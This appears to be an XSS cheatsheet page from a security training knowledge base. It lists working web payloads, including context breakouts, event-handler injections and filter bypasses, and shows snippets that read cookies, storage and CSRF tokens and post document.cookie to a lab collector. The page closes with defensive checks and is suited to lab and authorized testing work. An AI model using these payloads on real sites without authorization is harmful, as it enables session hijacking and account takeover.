Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter III - Web / 01. XSS

Cheatsheet

Use this as a quick reference while testing XSS in labs and authorized assessments.


Markers

ootw-xss-test
"><ootw>
'</ootw>
{{7*7}}

The goal is to find where input lands before choosing a payload.


Basic Proof Payloads

<script>alert(1)</script>
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>

HTML-only proof:

<h1>ootw</h1>

Page modification proof:

<script>document.body.innerHTML='ootw-xss-proof'</script>

Context Breakouts

HTML text:

<img src=x onerror=alert(1)>

Double-quoted attribute:

" autofocus onfocus=alert(1) x="

Single-quoted attribute:

' autofocus onfocus=alert(1) x='

JavaScript double-quoted string:

";alert(1);//

JavaScript single-quoted string:

';alert(1);//

URL attribute:

javascript:alert(1)

Event Handlers

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>
<input autofocus onfocus=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>

DOM XSS Sinks

Look for attacker-controlled data reaching:

innerHTML
outerHTML
insertAdjacentHTML
document.write
eval
new Function
setTimeout
setInterval
location

Safer alternatives:

textContent
innerText
setAttribute with strict allowlists
createElement
appendChild

Browser Data Checks

Readable cookies:

document.cookie

Local storage:

Object.entries(localStorage)

Session storage:

Object.entries(sessionStorage)

CSRF token example:

document.querySelector('input[name=csrf]').value

Use these in the lab to prove impact. Real targets require authorization and clear scope.


Same-Origin Requests

GET request:

fetch('/profile')

POST request:

fetch('/settings/email', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: 'email=operator@ootw.local'
})

Local lab collector:

fetch('/xss/collect', {
  method: 'POST',
  headers: {'Content-Type': 'text/plain'},
  body: document.cookie
})

Beacon alternative:

navigator.sendBeacon('/xss/collect', document.cookie)

Encoding

URL encoding:

<  -> %3C
>  -> %3E
"  -> %22
'  -> %27
/  -> %2F

HTML entities:

<  -> &lt;
>  -> &gt;
"  -> &quot;
'  -> &#x27;
&  -> &amp;

JavaScript escapes:

<  -> \x3c
>  -> \x3e
"  -> \x22
'  -> \x27

Filter Bypass Ideas

Case changes:

<ScRiPt>alert(1)</ScRiPt>

Alternative functions:

confirm(1)
prompt(1)
print()

No spaces:

<svg/onload=alert(1)>

Event handler instead of script tag:

<img src=x onerror=alert(1)>

Encoded keyword:

<script>\u0061lert(1)</script>

Bypasses are context-specific. If the context changes, the payload changes.


CSP Quick Checks

Check for a CSP header:

curl -I "http://127.0.0.1:5000/" | grep -i content-security-policy

Common weak CSP signs:

unsafe-inline
unsafe-eval
wildcard script-src
missing object-src
missing base-uri

CSP reduces impact. It does not replace output encoding.


Defensive Review

Confirm:

  • Output is encoded for the exact context.
  • Templates escape by default.
  • Rich HTML uses an allowlist sanitizer.
  • User input is not passed to innerHTML.
  • Cookies use HttpOnly, Secure, and SameSite.
  • CSP blocks inline scripts and unexpected script sources.
  • Admin panels encode user-submitted data.
  • Logs capture suspicious tags, event handlers, and script URLs.